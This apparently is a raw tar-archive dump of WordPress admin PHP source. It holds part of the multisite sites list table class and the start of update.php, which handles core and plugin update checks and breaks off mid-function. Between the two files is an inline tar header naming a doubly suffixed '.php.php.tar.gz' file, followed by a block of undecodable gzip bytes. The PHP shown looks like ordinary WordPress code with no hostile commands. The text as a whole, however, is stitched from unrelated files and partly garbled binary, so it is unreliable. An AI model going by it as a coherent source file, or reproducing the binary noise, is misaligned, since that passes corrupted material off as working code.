		} elseif ( preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $s )
			|| preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s )
			|| preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s )
			|| preg_match( '/^[0-9]{1,3}\.$/', $s )
		) {
			// IPv4 address.
			$sql = $wpdb->prepare(
				"SELECT blog_id FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.IP LIKE %s",
				$wpdb->esc_like( $s ) . ( ! empty( $wild ) ? '%' : '' )
			);

			$reg_blog_ids = $wpdb->get_col( $sql );

			if ( $reg_blog_ids ) {
				$args['site__in'] = $reg_blog_ids;
			}
		} elseif ( is_numeric( $s ) && empty( $wild ) ) {
			$args['ID'] = $s;
		} else {
			$args['search'] = $s;

			if ( ! is_subdomain_install() ) {
				$args['search_columns'] = array( 'path' );
			}
		}

		$order_by = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : '';
		if ( 'registered' === $order_by ) {
			// 'registered' is a valid field name.
		} elseif ( 'lastupdated' === $order_by ) {
			$order_by = 'last_updated';
		} elseif ( 'blogname' === $order_by ) {
			if ( is_subdomain_install() ) {
				$order_by = 'domain';
			} else {
				$order_by = 'path';
			}
		} elseif ( 'blog_id' === $order_by ) {
			$order_by = 'id';
		} elseif ( ! $order_by ) {
			$order_by = false;
		}

		$args['orderby'] = $order_by;

		if ( $order_by ) {
			$args['order'] = ( isset( $_REQUEST['order'] ) && 'DESC' === strtoupper( $_REQUEST['order'] ) ) ? 'DESC' : 'ASC';
		}

		if ( wp_is_large_network() ) {
			$args['no_found_rows'] = true;
		} else {
			$args['no_found_rows'] = false;
		}

		// Take into account the role the user has selected.
		$status = isset( $_REQUEST['status'] ) ? wp_unslash( trim( $_REQUEST['status'] ) ) : '';
		if ( in_array( $status, array( 'public', 'archived', 'mature', 'spam', 'deleted' ), true ) ) {
			$args[ $status ] = 1;
		}

		/**
		 * Filters the arguments for the site query in the sites list table.
		 *
		 * @since 4.6.0
		 *
		 * @param array $args An array of get_sites() arguments.
		 */
		$args = apply_filters( 'ms_sites_list_table_query_args', $args );

		$_sites = get_sites( $args );
		if ( is_array( $_sites ) ) {
			update_site_cache( $_sites );

			$this->items = array_slice( $_sites, 0, $per_page );
		}

		$total_sites = get_sites(
			array_merge(
				$args,
				array(
					'count'  => true,
					'offset' => 0,
					'number' => 0,
				)
			)
		);

		$this->set_pagination_args(
			array(
				'total_items' => $total_sites,
				'per_page'    => $per_page,
			)
		);
	}

	/**
	 */
	public function no_items() {
		_e( 'No sites found.' );
	}

	/**
	 * Gets links to filter sites by status.
	 *
	 * @since 5.3.0
	 *
	 * @return array
	 */
	protected function get_views() {
		$counts = wp_count_sites();

		$statuses = array(
			/* translators: %s: Number of sites. */
			'all'      => _nx_noop(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				'sites'
			),

			/* translators: %s: Number of sites. */
			'public'   => _n_noop(
				'Public <span class="count">(%s)</span>',
				'Public <span class="count">(%s)</span>'
			),

			/* translators: %s: Number of sites. */
			'archived' => _n_noop(
				'Archived <span class="count">(%s)</span>',
				'Archived <span class="count">(%s)</span>'
			),

			/* translators: %s: Number of sites. */
			'mature'   => _n_noop(
				'Mature <span class="count">(%s)</span>',
				'Mature <span class="count">(%s)</span>'
			),

			/* translators: %s: Number of sites. */
			'spam'     => _nx_noop(
				'Spam <span class="count">(%s)</span>',
				'Spam <span class="count">(%s)</span>',
				'sites'
			),

			/* translators: %s: Number of sites. */
			'deleted'  => _n_noop(
				'Deleted <span class="count">(%s)</span>',
				'Deleted <span class="count">(%s)</span>'
			),
		);

		$view_links       = array();
		$requested_status = isset( $_REQUEST['status'] ) ? wp_unslash( trim( $_REQUEST['status'] ) ) : '';
		$url              = 'sites.php';

		foreach ( $statuses as $status => $label_count ) {
			if ( (int) $counts[ $status ] > 0 ) {
				$label = sprintf(
					translate_nooped_plural( $label_count, $counts[ $status ] ),
					number_format_i18n( $counts[ $status ] )
				);

				$full_url = 'all' === $status ? $url : add_query_arg( 'status', $status, $url );

				$view_links[ $status ] = array(
					'url'     => esc_url( $full_url ),
					'label'   => $label,
					'current' => $requested_status === $status || ( '' === $requested_status && 'all' === $status ),
				);
			}
		}

		return $this->get_views_links( $view_links );
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_sites' ) ) {
			$actions['delete'] = __( 'Delete' );
		}
		$actions['spam']    = _x( 'Mark as spam', 'site' );
		$actions['notspam'] = _x( 'Not spam', 'site' );

		return $actions;
	}

	/**
	 * @global string $mode List table view mode.
	 *
	 * @param string $which The location of the pagination nav markup: 'top' or 'bottom'.
	 */
	protected function pagination( $which ) {
		global $mode;

		parent::pagination( $which );

		if ( 'top' === $which ) {
			$this->view_switcher( $mode );
		}
	}

	/**
	 * Displays extra controls between bulk actions and pagination.
	 *
	 * @since 5.3.0
	 *
	 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
	 */
	protected function extra_tablenav( $which ) {
		?>
		<div class="alignleft actions">
		<?php
		if ( 'top' === $which ) {
			ob_start();

			/**
			 * Fires before the Filter button on the MS sites list table.
			 *
			 * @since 5.3.0
			 *
			 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
			 */
			do_action( 'restrict_manage_sites', $which );

			$output = ob_get_clean();

			if ( ! empty( $output ) ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'site-query-submit' ) );
			}
		}
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the
		 * MS sites list table.
		 *
		 * @since 5.3.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_sites_extra_tablenav', $which );
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$sites_columns = array(
			'cb'          => '<input type="checkbox" />',
			'blogname'    => __( 'URL' ),
			'lastupdated' => __( 'Last Updated' ),
			'registered'  => _x( 'Registered', 'site' ),
			'users'       => __( 'Users' ),
		);

		if ( has_filter( 'wpmublogsaction' ) ) {
			$sites_columns['plugins'] = __( 'Actions' );
		}

		/**
		 * Filters the displayed site columns in Sites list table.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $sites_columns An array of displayed site columns. Default 'cb',
		 *                               'blogname', 'lastupdated', 'registered', 'users'.
		 */
		return apply_filters( 'wpmu_blogs_columns', $sites_columns );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {

		if ( is_subdomain_install() ) {
			$blogname_abbr         = __( 'Domain' );
			$blogname_orderby_text = __( 'Table ordered by Site Domain Name.' );
		} else {
			$blogname_abbr         = __( 'Path' );
			$blogname_orderby_text = __( 'Table ordered by Site Path.' );
		}

		return array(
			'blogname'    => array( 'blogname', false, $blogname_abbr, $blogname_orderby_text ),
			'lastupdated' => array( 'lastupdated', true, __( 'Last Updated' ), __( 'Table ordered by Last Updated.' ) ),
			'registered'  => array( 'blog_id', true, _x( 'Registered', 'site' ), __( 'Table ordered by Site Registered Date.' ), 'desc' ),
		);
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$blog` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array $item Current site.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$blog = $item;

		if ( ! is_main_site( $blog['blog_id'] ) ) :
			$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );
			?>
			<input type="checkbox" id="blog_<?php echo $blog['blog_id']; ?>" name="allblogs[]" value="<?php echo esc_attr( $blog['blog_id'] ); ?>" />
			<label for="blog_<?php echo $blog['blog_id']; ?>">
				<span class="screen-reader-text">
				<?php
				/* translators: %s: Site URL. */
				printf( __( 'Select %s' ), $blogname );
				?>
				</span>
			</label>
			<?php
		endif;
	}

	/**
	 * Handles the ID column output.
	 *
	 * @since 4.4.0
	 *
	 * @param array $blog Current site.
	 */
	public function column_id( $blog ) {
		echo $blog['blog_id'];
	}

	/**
	 * Handles the site name column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param array $blog Current site.
	 */
	public function column_blogname( $blog ) {
		global $mode;

		$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );

		?>
		<strong>
			<?php
			printf(
				'<a href="%1$s" class="edit">%2$s</a>',
				esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ),
				$blogname
			);

			$this->site_states( $blog );
			?>
		</strong>
		<?php
		if ( 'list' !== $mode ) {
			switch_to_blog( $blog['blog_id'] );
			echo '<p>';
			printf(
				/* translators: 1: Site title, 2: Site tagline. */
				__( '%1$s &#8211; %2$s' ),
				get_option( 'blogname' ),
				'<em>' . get_option( 'blogdescription' ) . '</em>'
			);
			echo '</p>';
			restore_current_blog();
		}
	}

	/**
	 * Handles the lastupdated column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param array $blog Current site.
	 */
	public function column_lastupdated( $blog ) {
		global $mode;

		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}

		if ( '0000-00-00 00:00:00' === $blog['last_updated'] ) {
			_e( 'Never' );
		} else {
			echo mysql2date( $date, $blog['last_updated'] );
		}
	}

	/**
	 * Handles the registered column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param array $blog Current site.
	 */
	public function column_registered( $blog ) {
		global $mode;

		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}

		if ( '0000-00-00 00:00:00' === $blog['registered'] ) {
			echo '&#x2014;';
		} else {
			echo mysql2date( $date, $blog['registered'] );
		}
	}

	/**
	 * Handles the users column output.
	 *
	 * @since 4.3.0
	 *
	 * @param array $blog Current site.
	 */
	public function column_users( $blog ) {
		$user_count = wp_cache_get( $blog['blog_id'] . '_user_count', 'blog-details' );
		if ( ! $user_count ) {
			$blog_users = new WP_User_Query(
				array(
					'blog_id'     => $blog['blog_id'],
					'fields'      => 'ID',
					'number'      => 1,
					'count_total' => true,
				)
			);
			$user_count = $blog_users->get_total();
			wp_cache_set( $blog['blog_id'] . '_user_count', $user_count, 'blog-details', 12 * HOUR_IN_SECONDS );
		}

		printf(
			'<a href="%1$s">%2$s</a>',
			esc_url( network_admin_url( 'site-users.php?id=' . $blog['blog_id'] ) ),
			number_format_i18n( $user_count )
		);
	}

	/**
	 * Handles the plugins column output.
	 *
	 * @since 4.3.0
	 *
	 * @param array $blog Current site.
	 */
	public function column_plugins( $blog ) {
		if ( has_filter( 'wpmublogsaction' ) ) {
			/**
			 * Fires inside the auxiliary 'Actions' column of the Sites list table.
			 *
			 * By default this column is hidden unless something is hooked to the action.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $blog_id The site ID.
			 */
			do_action( 'wpmublogsaction', $blog['blog_id'] );
		}
	}

	/**
	 * Handles output for the default column.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$blog` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array  $item        Current site.
	 * @param string $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$blog = $item;

		/**
		 * Fires for each registered custom column in the Sites list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string $column_name The name of the column to display.
		 * @param int    $blog_id     The site ID.
		 */
		do_action( 'manage_sites_custom_column', $column_name, $blog['blog_id'] );
	}

	/**
	 * @global string $mode List table view mode.
	 */
	public function display_rows() {
		foreach ( $this->items as $blog ) {
			$blog  = $blog->to_array();
			$class = '';
			reset( $this->status_list );

			foreach ( $this->status_list as $status => $col ) {
				if ( '1' === $blog[ $status ] ) {
					$class = " class='{$col[0]}'";
				}
			}

			echo "<tr{$class}>";

			$this->single_row_columns( $blog );

			echo '</tr>';
		}
	}

	/**
	 * Determines whether to output comma-separated site states.
	 *
	 * @since 5.3.0
	 *
	 * @param array $site
	 */
	protected function site_states( $site ) {
		$site_states = array();

		// $site is still an array, so get the object.
		$_site = WP_Site::get_instance( $site['blog_id'] );

		if ( is_main_site( $_site->id ) ) {
			$site_states['main'] = __( 'Main' );
		}

		reset( $this->status_list );

		$site_status = isset( $_REQUEST['status'] ) ? wp_unslash( trim( $_REQUEST['status'] ) ) : '';
		foreach ( $this->status_list as $status => $col ) {
			if ( '1' === $_site->{$status} && $site_status !== $status ) {
				$site_states[ $col[0] ] = $col[1];
			}
		}

		/**
		 * Filters the default site display states for items in the Sites list table.
		 *
		 * @since 5.3.0
		 *
		 * @param string[] $site_states An array of site states. Default 'Main',
		 *                              'Archived', 'Mature', 'Spam', 'Deleted'.
		 * @param WP_Site  $site        The current site object.
		 */
		$site_states = apply_filters( 'display_site_states', $site_states, $_site );

		if ( ! empty( $site_states ) ) {
			$state_count = count( $site_states );

			$i = 0;

			echo ' &mdash; ';

			foreach ( $site_states as $state ) {
				++$i;

				$separator = ( $i < $state_count ) ? ', ' : '';

				echo "<span class='post-state'>{$state}{$separator}</span>";
			}
		}
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'blogname'.
	 */
	protected function get_default_primary_column_name() {
		return 'blogname';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$blog` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array  $item        Site being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for sites in Multisite, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$blog = $item;

		$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );

		// Preordered.
		$actions = array(
			'edit'       => '',
			'backend'    => '',
			'activate'   => '',
			'deactivate' => '',
			'archive'    => '',
			'unarchive'  => '',
			'spam'       => '',
			'unspam'     => '',
			'delete'     => '',
			'visit'      => '',
		);

		$actions['edit'] = sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ),
			__( 'Edit' )
		);

		$actions['backend'] = sprintf(
			'<a href="%1$s" class="edit">%2$s</a>',
			esc_url( get_admin_url( $blog['blog_id'] ) ),
			__( 'Dashboard' )
		);

		if ( ! is_main_site( $blog['blog_id'] ) ) {
			if ( '1' === $blog['deleted'] ) {
				$actions['activate'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=activateblog&amp;id=' . $blog['blog_id'] ),
							'activateblog_' . $blog['blog_id']
						)
					),
					__( 'Activate' )
				);
			} else {
				$actions['deactivate'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=deactivateblog&amp;id=' . $blog['blog_id'] ),
							'deactivateblog_' . $blog['blog_id']
						)
					),
					__( 'Deactivate' )
				);
			}

			if ( '1' === $blog['archived'] ) {
				$actions['unarchive'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=unarchiveblog&amp;id=' . $blog['blog_id'] ),
							'unarchiveblog_' . $blog['blog_id']
						)
					),
					__( 'Unarchive' )
				);
			} else {
				$actions['archive'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=archiveblog&amp;id=' . $blog['blog_id'] ),
							'archiveblog_' . $blog['blog_id']
						)
					),
					_x( 'Archive', 'verb; site' )
				);
			}

			if ( '1' === $blog['spam'] ) {
				$actions['unspam'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=unspamblog&amp;id=' . $blog['blog_id'] ),
							'unspamblog_' . $blog['blog_id']
						)
					),
					_x( 'Not Spam', 'site' )
				);
			} else {
				$actions['spam'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=spamblog&amp;id=' . $blog['blog_id'] ),
							'spamblog_' . $blog['blog_id']
						)
					),
					_x( 'Spam', 'site' )
				);
			}

			if ( current_user_can( 'delete_site', $blog['blog_id'] ) ) {
				$actions['delete'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=deleteblog&amp;id=' . $blog['blog_id'] ),
							'deleteblog_' . $blog['blog_id']
						)
					),
					__( 'Delete' )
				);
			}
		}

		$actions['visit'] = sprintf(
			'<a href="%1$s" rel="bookmark">%2$s</a>',
			esc_url( get_home_url( $blog['blog_id'], '/' ) ),
			__( 'Visit' )
		);

		/**
		 * Filters the action links displayed for each site in the Sites list table.
		 *
		 * The 'Edit', 'Dashboard', 'Delete', and 'Visit' links are displayed by
		 * default for each site. The site's status determines whether to show the
		 * 'Activate' or 'Deactivate' link, 'Unarchive' or 'Archive' links, and
		 * 'Not Spam' or 'Spam' link for each site.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $actions  An array of action links to be displayed.
		 * @param int      $blog_id  The site ID.
		 * @param string   $blogname Site path, formatted depending on whether it is a sub-domain
		 *                           or subdirectory multisite installation.
		 */
		$actions = apply_filters( 'manage_sites_action_links', array_filter( $actions ), $blog['blog_id'], $blogname );

		return $this->row_actions( $actions );
	}
}
class-bulk-plugin-upgrader-skin.php.php.tar.gz000064400000002020150275632050015353 0ustar00��VMo�8�U���
فmٱ�n�m{��Zh�=�@K�M�"��7�d�NsYt?�|1ə7��q���i$�aFP%�jC�.Mlj̣m1"i�D�D�˔�(�?Z��~T�r�Ĩ,֊�T��=�bS�:�	��|~���������lzq>�������	L�<~��X�B��?h�?c�:��iN��$���m����q\�ğ���4���mA�{���T�5�G�U]���ׯ��(���	��:5��KÁeR�b��:w6���-� h
F3�C2N!S2����[��V�;0J=;-Z\=�����T?�_;��� DU&���x��pt��71�r� �f#S�2�m�̆i��l�ٸ���Q�ZZ
#������Sb��J�&�.��DQ�<�ڣc�LxI�G]Q�ya�e �]g��zt8�Ō:AQ�8K�[!��<D���s������Zc�_;APE�Y,Z;op#:��М����:kAr:��|,�
Mf{�
a��i�l�-��a|(�G�+!�Z�G�F0�*���J'^Q�0��O���L����>��v�ƬR�M����n�f�t���۞6��)���.�nN�l6dy�~u!C�"mw�հ׆���:a�#����o<_s�R|�r��Ld)��=��z�{a2)-��;V{A�B!�U7�ĭ���q�C.��%�	1��
�KE����>|c�~]���d�ӗY�CwVS��nť�M5n�`I��S˯�α�J�y`�����Cr�G	��{y�����(CO+N�>�I��k����q,���+ߤ��b�Zr�nC��/��_ǖjw�9���g�Ž�@'+�(H����ڊ����u��&p�08|p�����ݗ�l᝛��<i�1n��S�5њvA�����+�h3���n�՜:V3���8�4=��E�y���ӝ[8<�j���V�݃pԻ]o+���t�_
}`�)�A��D�;:OE��߷ο�1�b/�b/�?�����update.php000064400000105520150275632050006547 0ustar00<?php
/**
 * WordPress Administration Update API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Selects the first update version from the update_core option.
 *
 * @since 2.7.0
 *
 * @return object|array|false The response from the API on success, false on failure.
 */
function get_preferred_from_update_core() {
	$updates = get_core_updates();

	if ( ! is_array( $updates ) ) {
		return false;
	}

	if ( empty( $updates ) ) {
		return (object) array( 'response' => 'latest' );
	}

	return $updates[0];
}

/**
 * Gets available core updates.
 *
 * @since 2.7.0
 *
 * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
 *                       set $options['available'] to false to skip not-dismissed updates.
 * @return array|false Array of the update objects on success, false on failure.
 */
function get_core_updates( $options = array() ) {
	$options = array_merge(
		array(
			'available' => true,
			'dismissed' => false,
		),
		$options
	);

	$dismissed = get_site_option( 'dismissed_update_core' );

	if ( ! is_array( $dismissed ) ) {
		$dismissed = array();
	}

	$from_api = get_site_transient( 'update_core' );

	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
		return false;
	}

	$updates = $from_api->updates;
	$result  = array();

	foreach ( $updates as $update ) {
		if ( 'autoupdate' === $update->response ) {
			continue;
		}

		if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) {
			if ( $options['dismissed'] ) {
				$update->dismissed = true;
				$result[]          = $update;
			}
		} else {
			if ( $options['available'] ) {
				$update->dismissed = false;
				$result[]          = $update;
			}
		}
	}

	return $result;
}

/**
 * Gets the best available (and enabled) Auto-Update for WordPress core.
 *
 * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the installation allows it, else, 1.2.3.
 *
 * @since 3.7.0
 *
 * @return object|false The core update offering on success, false on failure.
 */
function find_core_auto_update() {
	$updates = get_site_transient( 'update_core' );

	if ( ! $updates || empty( $updates->updates ) ) {
		return false;
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	$auto_update = false;
	$upgrader    = new WP_Automatic_Updater();

	foreach ( $updates->updates as $update ) {
		if ( 'autoupdate' !== $update->response ) {
			continue;
		}

		if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) ) {
			continue;
		}

		if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) ) {
			$auto_update = $update;
		}
	}

	return $auto_update;
}

/**
 * Gets and caches the checksums for the given version of WordPress.
 *
 * @since 3.7.0
 *
 * @param string $version Version string to query.
 * @param string $locale  Locale to query.
 * @return array|false An array of checksums on success, false on failure.
 */
function get_core_checksums( $version, $locale ) {
	$http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), '', '&' );
	$url      = $http_url;

	$ssl = wp_http_supports( array( 'ssl' ) );

	if ( $ssl ) {
		$url = set_url_scheme( $url, 'https' );
	}

	$options = array(
		'timeout' => wp_doing_cron() ? 30 : 3,
	);

	$response = wp_remote_get( $url, $options );

	if ( $ssl && is_wp_error( $response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);

		$response = wp_remote_get( $http_url, $options );
	}

	if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
		return false;
	}

	$body = trim( wp_remote_retrieve_body( $response ) );
	$body = json_decode( $body, true );

	if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) ) {
		return false;
	}

	return $body['checksums'];
}

/**
 * Dismisses core update.
 *
 * @since 2.7.0
 *
 * @param object $update
 * @return bool
 */
function dismiss_core_update( $update ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$dismissed[ $update->current . '|' . $update->locale ] = true;

	return update_site_option( 'dismissed_update_core', $dismissed );
}

/**
 * Undismisses core update.
 *
 * @since 2.7.0
 *
 * @param string $version
 * @param string $locale
 * @return bool
 */
function undismiss_core_update( $version, $locale ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$key       = $version . '|' . $locale;

	if ( ! isset( $dismissed[ $key ] ) ) {
		return false;
	}

	unset( $dismissed[ $key ] );

	return update_site_option( 'dismissed_update_core', $dismissed );
}

/**
 * Finds the available update for WordPress core.
 *
 * @since 2.7.0
 *
 * @param string $version Version string to find the update for.
 * @param string $locale  Locale to find the update for.
 * @return object|false The core update offering on success, false on failure.
 */
function find_core_update( $version, $locale ) {
	$from_api = get_site_transient( 'update_core' );

	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
		return false;
	}

	$updates = $from_api->updates;

	foreach ( $updates as $update ) {
		if ( $update->current === $version && $update->locale === $locale ) {
			return $update;
		}
	}

	return false;
}

/**
 * Returns core update footer message.
 *
 * @since 2.3.0
 *
 * @param string $msg
 * @return string
 */
function core_update_footer( $msg = '' ) {
	if ( ! current_user_can( 'update_core' ) ) {
		/* translators: %s: WordPress version. */
		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	}

	$cur = get_preferred_from_update_core();

	if ( ! is_object( $cur ) ) {
		$cur = new stdClass();
	}

	if ( ! isset( $cur->current ) ) {
		$cur->current = '';
	}

	if ( ! isset( $cur->response ) ) {
		$cur->response = '';
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$is_development_version = preg_match( '/alpha|beta|RC/', $wp_version );

	if ( $is_development_version ) {
		return sprintf(
			/* translators: 1: WordPress version number, 2: URL to WordPress Updates screen. */
			__( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ),
			get_bloginfo( 'version', 'display' ),
			network_admin_url( 'update-core.php' )
		);
	}

	switch ( $cur->response ) {
		case 'upgrade':
			return sprintf(
				'<strong><a href="%s">%s</a></strong>',
				network_admin_url( 'update-core.php' ),
				/* translators: %s: WordPress version. */
				sprintf( __( 'Get Version %s' ), $cur->current )
			);

		case 'latest':
		default:
			/* translators: %s: WordPress version. */
			return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	}
}

/**
 * Returns core update notification message.
 *
 * @since 2.3.0
 *
 * @global string $pagenow The filename of the current screen.
 * @return void|false
 */
function update_nag() {
	global $pagenow;

	if ( is_multisite() && ! current_user_can( 'update_core' ) ) {
		return false;
	}

	if ( 'update-core.php' === $pagenow ) {
		return;
	}

	$cur = get_preferred_from_update_core();

	if ( ! isset( $cur->response ) || 'upgrade' !== $cur->response ) {
		return false;
	}

	$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
		sanitize_title( $cur->current )
	);

	if ( current_user_can( 'update_core' ) ) {
		$msg = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: New WordPress version, 3: URL to network admin, 4: Accessibility text. */
			__( '<a href="%1$s">WordPress %2$s</a> is available! <a href="%3$s" aria-label="%4$s">Please update now</a>.' ),
			$version_url,
			$cur->current,
			network_admin_url( 'update-core.php' ),
			esc_attr__( 'Please update WordPress now' )
		);
	} else {
		$msg = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: New WordPress version. */
			__( '<a href="%1$s">WordPress %2$s</a> is available! Please notify the site administrator.' ),
			$version_url,
			$cur->current
		);
	}

	wp_admin_notice(
		$msg,
		array(
			'type'               => 'warning',
			'additional_classes' => array( 'update-nag', 'inline' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * Displays WordPress version and active theme in the 'At a Glance' dashboard widget.
 *
 * @since 2.5.0
 */
function update_right_now_message() {
	$theme_name = wp_get_theme();

	if ( current_user_can( 'switch_themes' ) ) {
		$theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name );
	}

	$msg = '';

	if ( current_user_can( 'update_core' ) ) {
		$cur = get_preferred_from_update_core();

		if ( isset( $cur->response ) && 'upgrade' === $cur->response ) {
			$msg .= sprintf(
				'<a href="%s" class="button" aria-describedby="wp-version">%s</a> ',
				network_admin_url( 'update-core.php' ),
				/* translators: %s: WordPress version number, or 'Latest' string. */
				sprintf( __( 'Update to %s' ), $cur->current ? $cur->current : __( 'Latest' ) )
			);
		}
	}

	/* translators: 1: Version number, 2: Theme name. */
	$content = __( 'WordPress %1$s running %2$s theme.' );

	/**
	 * Filters the text displayed in the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 4.4.0
	 *
	 * @param string $content Default text.
	 */
	$content = apply_filters( 'update_right_now_text', $content );

	$msg .= sprintf( '<span id="wp-version">' . $content . '</span>', get_bloginfo( 'version', 'display' ), $theme_name );

	echo "<p id='wp-version-message'>$msg</p>";
}

/**
 * Retrieves plugins with updates available.
 *
 * @since 2.9.0
 *
 * @return array
 */
function get_plugin_updates() {
	$all_plugins     = get_plugins();
	$upgrade_plugins = array();
	$current         = get_site_transient( 'update_plugins' );

	foreach ( (array) $all_plugins as $plugin_file => $plugin_data ) {
		if ( isset( $current->response[ $plugin_file ] ) ) {
			$upgrade_plugins[ $plugin_file ]         = (object) $plugin_data;
			$upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ];
		}
	}

	return $upgrade_plugins;
}

/**
 * Adds a callback to display update information for plugins with updates available.
 *
 * @since 2.9.0
 */
function wp_plugin_update_rows() {
	if ( ! current_user_can( 'update_plugins' ) ) {
		return;
	}

	$plugins = get_site_transient( 'update_plugins' );

	if ( isset( $plugins->response ) && is_array( $plugins->response ) ) {
		$plugins = array_keys( $plugins->response );

		foreach ( $plugins as $plugin_file ) {
			add_action( "after_plugin_row_{$plugin_file}", 'wp_plugin_update_row', 10, 2 );
		}
	}
}

/**
 * Displays update information for a plugin.
 *
 * @since 2.3.0
 *
 * @param string $file        Plugin basename.
 * @param array  $plugin_data Plugin information.
 * @return void|false
 */
function wp_plugin_update_row( $file, $plugin_data ) {
	$current = get_site_transient( 'update_plugins' );

	if ( ! isset( $current->response[ $file ] ) ) {
		return false;
	}
